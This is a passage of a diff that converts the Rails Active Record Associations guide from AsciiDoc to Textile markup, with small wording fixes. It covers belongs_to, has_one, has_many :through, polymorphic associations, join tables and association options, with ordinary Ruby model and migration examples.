-=== Choosing Between +belongs_to+ and +has_one+
+h4. Choosing Between +belongs_to+ and +has_one+
-If you want to set up a 1-1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account
end
@@ -219,12 +207,11 @@ end
class Account < ActiveRecord::Base
belongs_to :supplier
end
--------------------------------------------------------
+</ruby>
The corresponding migration might look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreateSuppliers < ActiveRecord::Migration
def self.up
create_table :suppliers do |t|
@@ -244,16 +231,15 @@ class CreateSuppliers < ActiveRecord::Migration
drop_table :suppliers
end
end
--------------------------------------------------------
+</ruby>
-NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
+NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
-=== Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Assembly < ActiveRecord::Base
has_and_belongs_to_many :parts
end
@@ -261,12 +247,11 @@ end
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
--------------------------------------------------------
+</ruby>
The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Assembly < ActiveRecord::Base
has_many :manifests
has_many :parts, :through => :manifests
@@ -281,18 +266,17 @@ class Part < ActiveRecord::Base
has_many :manifests
has_many :assemblies, :through => :manifests
end
--------------------------------------------------------
+</ruby>
-The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table).
+The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
-=== Polymorphic Associations
+h4. Polymorphic Associations
A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Picture < ActiveRecord::Base
belongs_to :imageable, :polymorphic => true
end
@@ -304,12 +288,15 @@ end
class Product < ActiveRecord::Base
has_many :pictures, :as => :imageable
end
--------------------------------------------------------
+</ruby>
+
+You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
+
+Similarly, you can retrieve +@product.pictures+.
-You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. Similarly, you can retrieve +@product.pictures+. If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreatePictures < ActiveRecord::Migration
def self.up
create_table :pictures do |t|
@@ -324,16 +311,15 @@ class CreatePictures < ActiveRecord::Migration
drop_table :pictures
end
end
--------------------------------------------------------
+</ruby>
This migration can be simplified by using the +t.references+ form:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreatePictures < ActiveRecord::Migration
def self.up
create_table :pictures do |t|
- t.string :name
+ t.string :name
t.references :imageable, :polymorphic => true
t.timestamps
end
@@ -343,25 +329,25 @@ class CreatePictures < ActiveRecord::Migration
drop_table :pictures
end
end
--------------------------------------------------------
+</ruby>
-image:images/polymorphic.png[Polymorphic Association Diagram]
+!images/polymorphic.png(Polymorphic Association Diagram)!
-=== Self Joins
+h4. Self Joins
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Employee < ActiveRecord::Base
- has_many :subordinates, :class_name => "Employee", :foreign_key => "manager_id"
+ has_many :subordinates, :class_name => "Employee",
+ :foreign_key => "manager_id"
belongs_to :manager, :class_name => "Employee"
end
--------------------------------------------------------
+</ruby>
With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
-== Tips, Tricks, and Warnings
+h3. Tips, Tricks, and Warnings
Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
@@ -370,55 +356,52 @@ Here are a few things you should know to make efficient use of Active Record ass
* Updating the schema
* Controlling association scope
-=== Controlling Caching
+h4. Controlling Caching
-All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
customer.orders # retrieves orders from the database
customer.orders.size # uses the cached copy of orders
customer.orders.empty? # uses the cached copy of orders
--------------------------------------------------------
+</ruby>
But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
-[source, ruby]
--------------------------------------------------------
+<ruby>
customer.orders # retrieves orders from the database
customer.orders.size # uses the cached copy of orders
-customer.orders(true).empty? # discards the cached copy of orders and goes back to the database
--------------------------------------------------------
+customer.orders(true).empty? # discards the cached copy of orders
+ # and goes back to the database
+</ruby>
-=== Avoiding Name Collisions
+h4. Avoiding Name Collisions
You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
-=== Updating the Schema
+h4. Updating the Schema
Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
-==== Creating Foreign Keys for +belongs_to+ Associations
+h5. Creating Foreign Keys for +belongs_to+ Associations
When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer
end
--------------------------------------------------------
+</ruby>
This declaration needs to be backed up by the proper foreign key declaration on the orders table:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreateOrders < ActiveRecord::Migration
def self.up
create_table :orders do |t|
- t.datetime :order_date
- t.string :order_number
- t.integer :customer_id
+ t.datetime :order_date
+ t.string :order_number
+ t.integer :customer_id
end
end
@@ -426,20 +409,19 @@ class CreateOrders < ActiveRecord::Migration
drop_table :orders
end
end
--------------------------------------------------------
+</ruby>
If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
-==== Creating Join Tables for +has_and_belongs_to_many+ Associations
+h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
-If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Assembly < ActiveRecord::Base
has_and_belongs_to_many :parts
end
@@ -447,12 +429,11 @@ end
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
--------------------------------------------------------
+</ruby>
These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class CreateAssemblyPartJoinTable < ActiveRecord::Migration
def self.up
create_table :assemblies_parts, :id => false do |t|
@@ -465,14 +446,15 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration
drop_table :assemblies_parts
end
end
--------------------------------------------------------
+</ruby>
+
+We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
-=== Controlling Association Scope
+h4. Controlling Association Scope
By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
module MyApplication
module Business
class Supplier < ActiveRecord::Base
@@ -484,12 +466,11 @@ module MyApplication
end
end
end
--------------------------------------------------------
+</ruby>
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But this will not work, because +Supplier+ and +Account+ are defined in different scopes:
+This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
module MyApplication
module Business
class Supplier < ActiveRecord::Base
@@ -503,128 +484,113 @@ module MyApplication
end
end
end
--------------------------------------------------------
+</ruby>
-To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
-[source, ruby]
--------------------------------------------------------
+<ruby>
module MyApplication
module Business
class Supplier < ActiveRecord::Base
- has_one :account, :class_name => "MyApplication::Billing::Account"
+ has_one :account,
+ :class_name => "MyApplication::Billing::Account"
end
end
module Billing
class Account < ActiveRecord::Base
- belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
+ belongs_to :supplier,
+ :class_name => "MyApplication::Business::Supplier"
end
end
end
--------------------------------------------------------
+</ruby>
-== Detailed Association Reference
+h3. Detailed Association Reference
The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
-=== The +belongs_to+ Association
+h4. +belongs_to+ Association Reference
The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
-==== Methods Added by +belongs_to+
+h5. Methods Added by +belongs_to+
-When you declare a +belongs_to+ assocation, the declaring class automatically gains five methods related to the association:
+When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
-* +_association_(force_reload = false)+
-* +_association_=(associate)+
-* +_association_.nil?+
-* +build___association__(attributes = {})+
-* +create___association__(attributes = {})+
+* <tt><em>association</em>(force_reload = false)</tt>
+* <tt><em>association</em>=(associate)</tt>
+* <tt>build_<em>association</em>(attributes = {})</tt>
+* <tt>create_<em>association</em>(attributes = {})</tt>
-In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
+In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer
end
--------------------------------------------------------
+</ruby>
Each instance of the order model will have these methods:
-[source, ruby]
--------------------------------------------------------
+<ruby>
customer
customer=
-customer.nil?
build_customer
create_customer
--------------------------------------------------------
+</ruby>
-===== +_association_(force_reload = false)+
+h6. _association_(force_reload = false)
-The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@customer = @order.customer
--------------------------------------------------------
+</ruby>
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-===== +_association_=(associate)+
+h6. _association_=(associate)
-The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@order.customer = @customer
--------------------------------------------------------
+</ruby>
-===== +_association_.nil?+
+h6. build_<em>association</em>(attributes = {})
-The +_association_.nil?+ method returns +true+ if there is no associated object.
+The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
-[source, ruby]
--------------------------------------------------------
-if @order.customer.nil?
- @msg = "No customer found for this order"
-end
--------------------------------------------------------
-
-===== +build___association__(attributes = {})+
+<ruby>
+@customer = @order.build_customer(:customer_number => 123,
+ :customer_name => "John Doe")
+</ruby>
-The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+h6. create_<em>association</em>(attributes = {})
-[source, ruby]
--------------------------------------------------------
-@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
--------------------------------------------------------
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-===== +create___association__(attributes = {})+
+<ruby>
+@customer = @order.create_customer(:customer_number => 123,
+ :customer_name => "John Doe")
+</ruby>
-The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-[source, ruby]
--------------------------------------------------------
-@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
--------------------------------------------------------
-
-==== Options for +belongs_to+
+h5. Options for +belongs_to+
In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
- belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
+ belongs_to :customer, :counter_cache => true,
+ :conditions => "active = 1"
end
--------------------------------------------------------
+</ruby>
The +belongs_to+ association supports these options:
-// * +:accessible+
+* +:autosave+
* +:class_name+
* +:conditions+
* +:counter_cache+
@@ -636,249 +602,236 @@ The +belongs_to+ association supports these options:
* +:select+
* +:validate+
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:class_name+
+h6. +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer, :class_name => "Patron"
end
--------------------------------------------------------
+</ruby>
-===== +:conditions+
+h6. +:conditions+
The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer, :conditions => "active = 1"
end
--------------------------------------------------------
+</ruby>
-===== +:counter_cache+
+h6. +:counter_cache+
The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer
end
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer, :counter_cache => true
end
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method.
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer, :counter_cache => :count_of_orders
end
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
-===== +:dependent+
+h6. +:dependent+
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
-===== +:foreign_key+
+h6. +:foreign_key+
By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
- belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
+ belongs_to :customer, :class_name => "Patron",
+ :foreign_key => "patron_id"
end
--------------------------------------------------------
+</ruby>
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-===== +:include+
+h6. +:include+
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class LineItem < ActiveRecord::Base
belongs_to :order
end
+
class Order < ActiveRecord::Base
belongs_to :customer
has_many :line_items
end
+
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class LineItem < ActiveRecord::Base
belongs_to :order, :include => :customer
end
+
class Order < ActiveRecord::Base
belongs_to :customer
has_many :line_items
end
+
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
-===== +:polymorphic+
+h6. +:polymorphic+
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
+Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-===== +:readonly+
+h6. +:readonly+
If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-===== +:select+
+h6. +:select+
The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
-===== +:validate+
+h6. +:validate+
If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-==== When are Objects Saved?
+h5. How To Know Whether There's an Associated Object?
+
+To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
+
+<ruby>
+if @order.customer.nil?
+ @msg = "No customer found for this order"
+end
+</ruby>
+
+h5. When are Objects Saved?
Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
-=== The has_one Association
+h4. +has_one+ Association Reference
The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
-==== Methods Added by +has_one+
+h5. Methods Added by +has_one+
-When you declare a +has_one+ association, the declaring class automatically gains five methods related to the association:
+When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
-* +_association_(force_reload = false)+
-* +_association_=(associate)+
-* +_association_.nil?+
-* +build___association__(attributes = {})+
-* +create___association__(attributes = {})+
+* <tt><em>association</em>(force_reload = false)</tt>
+* <tt><em>association</em>=(associate)</tt>
+* <tt>build_<em>association</em>(attributes = {})</tt>
+* <tt>create_<em>association</em>(attributes = {})</tt>
-In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
+In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account
end
--------------------------------------------------------
+</ruby>
Each instance of the +Supplier+ model will have these methods:
-[source, ruby]
--------------------------------------------------------
+<ruby>
account
account=
-account.nil?
build_account
create_account
--------------------------------------------------------
+</ruby>
-===== +_association_(force_reload = false)+
+h6. <tt><em>association</em>(force_reload = false)</tt>
-The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-[source, ruby]
--------------------------------------------------------
+<ruby>
@account = @supplier.account
--------------------------------------------------------
+</ruby>
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-===== +_association_=(associate)+
+h6. <tt><em>association</em>=(associate)</tt>
-The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
-[source, ruby]
--------------------------------------------------------
-@suppler.account = @account
--------------------------------------------------------
+<ruby>
+@supplier.account = @account
+</ruby>
-===== +_association_.nil?+
+h6. <tt>build_<em>association</em>(attributes = {})</tt>
-The +_association_.nil?+ method returns +true+ if there is no associated object.
+The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-[source, ruby]
--------------------------------------------------------
-if @supplier.account.nil?
- @msg = "No account found for this supplier"
-end
--------------------------------------------------------
+<ruby>
+@account = @supplier.build_account(:terms => "Net 30")
+</ruby>
-===== +build___association__(attributes = {})+
+h6. <tt>create_<em>association</em>(attributes = {})</tt>
-The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-[source, ruby]
--------------------------------------------------------
-@account = @supplier.build_account({:terms => "Net 30"})
--------------------------------------------------------
+<ruby>
+@account = @supplier.create_account(:terms => "Net 30")
+</ruby>
-===== +create___association__(attributes = {})+
-
-The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
-
-[source, ruby]
--------------------------------------------------------
-@account = @supplier.create_account({:terms => "Net 30"})
--------------------------------------------------------
-
-==== Options for +has_one+
+h5. Options for +has_one+
In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account, :class_name => "Billing", :dependent => :nullify
end
--------------------------------------------------------
+</ruby>
The +has_one+ association supports these options:
-// * +:accessible+
* +:as+
+* +:autosave+
* +:class_name+
* +:conditions+
* +:dependent+
@@ -893,164 +846,171 @@ The +has_one+ association supports these options:
* +:through+
* +:validate+
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:as+
+h6. +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.
+h6. +:autosave+
-===== +:class_name+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:
+h6. +:class_name+
-[source, ruby]
--------------------------------------------------------
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
+
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account, :class_name => "Billing"
end
--------------------------------------------------------
+</ruby>
-===== +:conditions+
+h6. +:conditions+
The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account, :conditions => "confirmed = 1"
end
--------------------------------------------------------
+</ruby>
-===== +:dependent+
+h6. +:dependent+
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
-===== +:foreign_key+
+h6. +:foreign_key+
By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account, :foreign_key => "supp_id"
end
--------------------------------------------------------
+</ruby>
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-===== +:include+
+h6. +:include+
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account
end
+
class Account < ActiveRecord::Base
belongs_to :supplier
belongs_to :representative
end
+
class Representative < ActiveRecord::Base
has_many :accounts
end
--------------------------------------------------------
+</ruby>
If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account, :include => :representative
end
+
class Account < ActiveRecord::Base
belongs_to :supplier
belongs_to :representative
end
+
class Representative < ActiveRecord::Base
has_many :accounts
end
--------------------------------------------------------
+</ruby>
-===== +:order+
+h6. +:order+
The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
-===== +:primary_key+
+h6. +:primary_key+
By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-===== +:readonly+
+h6. +:readonly+
If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-===== +:select+
+h6. +:select+
The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-===== +:source+
+h6. +:source+
The +:source+ option specifies the source association name for a +has_one :through+ association.
-===== +:source_type+
+h6. +:source_type+
The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-===== +:through+
+h6. :through
